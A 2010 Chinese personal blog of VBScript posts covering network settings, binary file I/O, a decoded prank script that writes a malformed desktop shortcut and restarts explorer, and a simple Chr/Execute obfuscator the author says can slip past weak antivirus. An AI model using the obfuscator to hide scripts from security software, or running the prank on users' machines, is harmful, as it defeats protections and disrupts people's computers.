用VBS设置静态IP和DNS服务器地址

2010年07月29日   By Demon   21,979 views

今天别人问我的,怕以后忘记,记录下来。

strIPAddress = Array("192.168.0.148")
strSubnetMask = Array("255.255.255.0")
strGateway = Array("192.168.0.1")
strGatewayMetric = Array(1)
arrDNSServers = Array("192.168.0.1","192.168.0.2")
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colNetAdapters = objWMIService.ExecQuery _
    ("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
 
For Each objNetAdapter in colNetAdapters
    errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)
    errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)
    errDNS = objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)
    If errEnable = 0 Then
        WScript.Echo "The IP address has been changed."
    Else
        WScript.Echo "The IP address could not be changed."
    End If
Next

记得把参数改成自己想要的。

一个VBS恶作剧程序的解密

2010年07月28日   By Demon   15,712 views

就是我之前在百度HI上看到的加密的恶作剧程序。之前解密的时候犯了一个很愚蠢的错误,竟然把循环的次数看错了。

那个上面贴出的程序运行后生成一个EZJ.VBE文件,用Script Decoder将其解码成EZJ.VBS,然后将

Execute FG5bhgNStr

替换为

Set file = HgyuR5Y3v.OpenTextFile((zhVVB4tr6 - 16535685)&".vbs",2,True)
file.Write FG5bhgNStr

双击运行,得到501个vbs文件,其中70.vbs就是解密后的代码,如下

Rem EnCode_4.0 By baomaboy
On Error Resume Next
Set sexc4rt = WScript.CreateObject("WScript.Shell")
Set CcYdrdTE = CreateObject("Scripting.FileSystemObject")
RName = Int((9876543210 - 1234567890 + 1) * Rnd + 1234567890)
UrlFile = CcYdrdTE.BuildPath(sexc4rt.SpecialFolders("Desktop"),"\"&RName&".url")
Set UrlStr = CcYdrdTE.OpenTextFile(UrlFile,2,True)
UrlStr.WriteLine("[InternetShortcut]"&vbcrlf&"url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:")
UrlStr.Close
WScript.Sleep 5000
Set OUrl = CcYdrdTE.OpenTextFile(CcYdrdTE.BuildPath(CcYdrdTE.GetSpecialFolder(1),"ShowDisktop.SCF"),2,True)
OUrl.Write("[Shell]"&vbcrlf&"Command=2"&vbcrlf&"IconFile=explorer.exe,3"&vbcrlf&"[Taskbar]"&vbcrlf&"command=ToggleDesktop")
OUrl.Close
sexc4rt.Run("ShowDisktop.SCF")
WScript.Sleep 16365
sexc4rt.Run("%COMSPEC% /C Del "&CcYdrdTE.GetFile(UrlFile).ShortPath),vbHide
WScript.Sleep 1000
sexc4rt.Run("explorer.exe")
WScript.Quit(0)

唉,因为一个很低级的错误,纠结了好几天。

Microsoft Platform SDK Febrary 2003版下载

2010年07月27日   By Demon   67,665 views

传说中最后支持Visual C++ 6.0的PSDK版本,微软在MSDN博客上说

Perhaps you want to install a version of the PSDK that will work with VS6, the last version of the PSDK to work with VS6 was the following version:

Microsoft Platform SDK, February 2003 Edition
The only way you can get this SDK is by ordering it (for about $10 — you only pay shipping costs) from…
http://www.qmedia.ca/launch/psdk.htm

也许你想安装一个依然支持VS6的PSDK版本,最后一个能在VS6下工作的PSDK版本是下面的版本:Microsoft Platform SDK, February 2003 版。你得到这个SDK的唯一方式是向http://www.qmedia.ca/launch/psdk.htm订购(大概$10,你仅需支付邮递的钱)。

难道微软真的就不提供下载地址了吗?我不死心,Google啊Google,终于搜索到了,那个人太牛了,怎么找到的。下载下来安装了一下,果然是Windows Server 2003 PSDK。

阅读这个条目剩下部分 »

用VBS读写二进制文件的另一种方法

2010年07月26日   By Demon   74,592 views

之前写的那篇给出的方法虽然不错,但是当文件过大时(其实很小,也就几M),对应的数组也会很大,然后会出现运行时错误,提示内存耗尽,为此我郁闷了好久。

最近在博客的流量记录中发现百度关键字“一些很恶作剧的vbs程序”(看来现在的年轻人很喜欢玩这口),于是打开久违的百度搜索了一下,发现出现在第三。出现在第二的是百度HI,上面也是一个恶作剧程序,而且还是加密的。我尝试着解密,却发现这个加密似乎比前几天解密的那个病毒更变态,未果。

虽然我没有把那个程序解密出来(如果哪位真正的高手会,麻烦指点一下),但是从中领悟出了用VBS读写二进制文件的另一种方法,即Microsoft.XMLDOM+ADODB.Stream。这个方法的效率比原来那个高得多,而且似乎没有文件大小限制。

Function ReadBinary(FileName)
	Const adTypeBinary = 1
	Dim stream, xmldom, node
	Set xmldom = CreateObject("Microsoft.XMLDOM")
	Set node = xmldom.CreateElement("binary")
	node.DataType = "bin.hex"
	Set stream = CreateObject("ADODB.Stream")
	stream.Type = adTypeBinary
	stream.Open
	stream.LoadFromFile FileName
	node.NodeTypedValue = stream.Read
	stream.Close
	Set stream = Nothing
	ReadBinary = node.Text
	Set node = Nothing
	Set xmldom = Nothing
End Function

函数的参数是要读取的文件路径,返回值是包含二进制文件的十六进制值的字符串。

Sub WriteBinary(FileName, Buf)
	Const adTypeBinary = 1
	Const adSaveCreateOverWrite = 2
	Dim stream, xmldom, node
	Set xmldom = CreateObject("Microsoft.XMLDOM")
	Set node = xmldom.CreateElement("binary")
	node.DataType = "bin.hex"
	node.Text = Buf
	Set stream = CreateObject("ADODB.Stream")
	stream.Type = adTypeBinary
	stream.Open
	stream.write node.NodeTypedValue
	stream.saveToFile FileName, adSaveCreateOverWrite
	stream.Close
	Set stream = Nothing
	Set node = Nothing
	Set xmldom = Nothing
End Sub

第一个参数是要读入的文件路径,第二个参数是包含二进制文件的十六进制值的字符串。至于如何获得二进制文件的十六进制值,那方法就很多了,最简单的方法当然就是用fso对象将ReadBinary函数的返回值写到文本文件中去,然后Ctrl+C,Ctrl+V。其实用十六进制工具也很简单。

其他的就不多说了,看不懂的多看看MSDN参考文档。写了一个示例程序,里面包含了天空之城音乐的所有数据,双击后在同一文件夹生成天空之城的MP3文件并播放。

[download id=29]

实现简单的VBS加密

2010年07月24日   By Demon   22,650 views

昨天那个病毒的加密确实很恐怖,我不是高手,写不出那么高级的加密。但是受病毒第一层加密的启发,进行简单的加密还是不难的。当然这种低级的加密只能拿来骗骗一些垃圾的杀毒软件。使用了msxml2.xmlhttp和adodb.stream对象的VBS脚本很容易被杀毒软件认为是病毒,不明真相的同学一看报毒自然就不敢运行了。简单加密以后应该可以绕过比较垃圾的杀毒软件。

下面是加密程序,原理很低级,读取源文件的所有代码并计算Asc值后写入,Execute用Chr还原后的代码。

On Error Resume Next
Set argv = WScript.Arguments
If argv.Count = 0 Then WScript.Quit
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile(argv(0),1)
    data = .ReadAll
    .Close
End With
With fso.OpenTextFile(argv(0) & ".txt",2,True)
    .WriteLine "data=" & Chr(34) & ASCdata(data) & Chr(34)
    .WriteLine "Function ChrData(Data)"
    .WriteLine "MyArray = Split(Data, "","", -1, 1)"
    .WriteLine "For each OldData in MyArray"
    .WriteLine "Newdata=NewData" & Chr(38) & "chr(OldData)"
    .WriteLine "Next"
    .WriteLine "ChrData=NewData"
    .WriteLine "End Function"
    .WriteLine "execute Chrdata(data)"
    .Close
End With
MsgBox "OK!",,"Encrypt"
Function ASCdata(Data)
    num = Len(data)
    newdata = ""
    For j = 1 To num
        If j = num Then
            newdata = newdata & Asc(Mid(data,j,1))
        Else
            newdata = newdata & Asc(Mid(data,j,1)) & ","
        End If
    Next
    ASCdata = newdata
End Function

使用方法:直接将需要加密的VBS脚本拖动到这个加密程序文件上,会自动生成加密后脚本的txt文件。